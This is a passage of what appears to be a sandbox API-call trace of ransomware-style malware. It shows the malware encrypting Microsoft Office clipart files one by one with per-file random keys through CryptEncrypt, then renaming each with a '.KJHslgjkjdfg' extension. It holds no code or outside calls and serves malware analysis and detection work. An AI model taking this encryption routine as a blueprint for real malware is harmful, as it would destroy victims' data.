lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.228] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.228] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.228] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.228] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xadc, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xadc, lpOverlapped=0x0) returned 1 [0188.228] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xae0, dwBufLen=0xae0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xae0) returned 1 [0188.228] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.228] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xae0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xae0, lpOverlapped=0x0) returned 1 [0188.228] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.228] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xbb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.228] SetEndOfFile (hFile=0x130) returned 1 [0188.230] GetProcessHeap () returned 0x990000 [0188.230] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.230] GetProcessHeap () returned 0x990000 [0188.230] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.230] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf.kjhslgjkjdfg")) returned 1 [0188.231] CloseHandle (hObject=0x130) returned 1 [0188.231] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01146_.WMF", cAlternateFileName="")) returned 1 [0188.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.232] GetProcessHeap () returned 0x990000 [0188.232] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.232] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.232] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.232] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.234] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.234] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.234] GetProcessHeap () returned 0x990000 [0188.234] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.234] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.234] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.234] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.234] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.234] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.234] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.234] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.235] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.235] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.235] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.235] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.235] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xaec, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xaec, lpOverlapped=0x0) returned 1 [0188.235] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xaf0, dwBufLen=0xaf0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xaf0) returned 1 [0188.235] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.235] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xaf0, lpOverlapped=0x0) returned 1 [0188.235] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.235] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xbc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.235] SetEndOfFile (hFile=0x130) returned 1 [0188.238] GetProcessHeap () returned 0x990000 [0188.238] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.238] GetProcessHeap () returned 0x990000 [0188.238] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.238] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf.kjhslgjkjdfg")) returned 1 [0188.239] CloseHandle (hObject=0x130) returned 1 [0188.239] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01151_.WMF", cAlternateFileName="")) returned 1 [0188.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.239] GetProcessHeap () returned 0x990000 [0188.239] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.240] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.240] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.240] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.240] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.240] GetProcessHeap () returned 0x990000 [0188.240] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.240] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.240] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.240] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.242] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.242] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.242] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.242] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.243] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.243] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.243] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.243] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.243] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xb90, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xb90, lpOverlapped=0x0) returned 1 [0188.243] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb90, dwBufLen=0xb90 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb90) returned 1 [0188.243] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.243] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xb90, lpOverlapped=0x0) returned 1 [0188.243] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.243] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xc64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.243] SetEndOfFile (hFile=0x130) returned 1 [0188.246] GetProcessHeap () returned 0x990000 [0188.246] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.246] GetProcessHeap () returned 0x990000 [0188.246] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.246] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf.kjhslgjkjdfg")) returned 1 [0188.247] CloseHandle (hObject=0x130) returned 1 [0188.247] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01152_.WMF", cAlternateFileName="")) returned 1 [0188.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.247] GetProcessHeap () returned 0x990000 [0188.247] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.247] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.247] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.247] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.247] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.247] GetProcessHeap () returned 0x990000 [0188.247] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.247] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.248] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.248] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.250] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.250] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.250] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.250] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.251] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.251] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.251] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.251] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.251] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xb90, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xb90, lpOverlapped=0x0) returned 1 [0188.251] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb90, dwBufLen=0xb90 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb90) returned 1 [0188.251] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.251] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xb90, lpOverlapped=0x0) returned 1 [0188.251] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.251] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xc64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.251] SetEndOfFile (hFile=0x130) returned 1 [0188.254] GetProcessHeap () returned 0x990000 [0188.254] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.254] GetProcessHeap () returned 0x990000 [0188.254] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.254] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf.kjhslgjkjdfg")) returned 1 [0188.255] CloseHandle (hObject=0x130) returned 1 [0188.255] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe04, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01157_.WMF", cAlternateFileName="")) returned 1 [0188.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.256] GetProcessHeap () returned 0x990000 [0188.256] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.256] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.256] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.256] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0188.258] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.258] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.258] GetProcessHeap () returned 0x990000 [0188.258] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.258] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.258] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.258] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.258] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.258] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.258] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.259] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.259] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.259] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.259] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.259] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.259] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xe04, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xe04, lpOverlapped=0x0) returned 1 [0188.259] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xe10, dwBufLen=0xe10 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xe10) returned 1 [0188.259] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.259] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xe10, lpOverlapped=0x0) returned 1 [0188.259] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.259] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xee4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.259] SetEndOfFile (hFile=0x130) returned 1 [0188.261] GetProcessHeap () returned 0x990000 [0188.261] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.261] GetProcessHeap () returned 0x990000 [0188.261] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.261] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft 